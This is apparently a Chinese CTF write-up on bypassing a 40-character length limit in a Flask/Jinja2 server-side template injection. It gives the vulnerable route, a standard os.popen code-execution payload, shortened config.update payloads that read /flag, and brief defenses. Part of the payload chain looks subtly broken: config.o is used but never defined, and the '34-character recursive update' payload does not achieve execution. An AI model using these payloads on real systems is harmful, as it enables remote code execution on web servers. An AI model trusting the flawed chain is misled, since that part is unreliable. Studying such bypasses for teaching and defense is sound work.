记一次SSTI长度限制绕过
字数 760 2025-08-22 12:23:00
SSTI长度限制绕过技术详解
一、SSTI基础概念
SSTI (Server-Side Template Injection) 是一种服务器端模板注入漏洞,当应用程序将用户输入直接嵌入到模板中而不进行适当处理时,攻击者可以注入恶意模板代码,导致任意代码执行。
二、题目分析
漏洞代码片段
@app.route("/")
def home():
user = request.args.get('user') or None
template = """<html>...</html>"""
if user is None:
template += """登录表单"""
else:
if len(user) > 40:
return "<h1>太长了bro</h1>"
template += f"""<h1>hello {user}</h1>"""
return render_template_string(template)
关键点:
- 用户输入
user直接嵌入模板 - 长度限制为40字符
- 使用Flask框架的
render_template_string
三、常规SSTI利用方式
在Flask/Jinja2环境下,常见的SSTI利用方式:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
但这种方式长度远超40字符限制。
四、长度限制绕过技术
1. 利用config.update方法
{%set x=config.update(p=config.o.popen)%}{{config.p('id').read()}}
分解:
config.update()可以动态添加属性- 将
os.popen方法赋值给新属性p - 然后调用新属性执行命令
2. 优化后的更短payload
{{config.update(c=config.update)}}
长度仅34字符,原理:
- 利用
config.update方法自身可被覆盖的特性 - 递归更新配置对象
3. 完整利用链
{{config.update(p=config.o.popen)}}
{{config.p('cat /flag').read()}}
五、替代方案探索
1. 其他可替代config的对象
request: Flask的请求对象g: Flask的全局对象session: 会话对象
2. 更短的函数链
尝试寻找比config.update更短的函数调用链,例如:
{{request.__class__.__mro__[1].__subclasses__()[X]}}
但通常长度仍会超过限制。
六、防御措施
- 永远不要直接渲染用户输入
- 使用安全的模板渲染方式:
return render_template('template.html', user=user) - 对用户输入进行严格过滤
- 限制模板执行环境
七、总结
在长度受限的SSTI场景中,关键技巧包括:
- 利用现有对象的动态更新功能
- 递归使用同一方法
- 寻找最短的函数调用链
- 分阶段执行payload(先定义后调用)
最短有效payload可压缩至34字符,通过config.update方法的巧妙利用实现。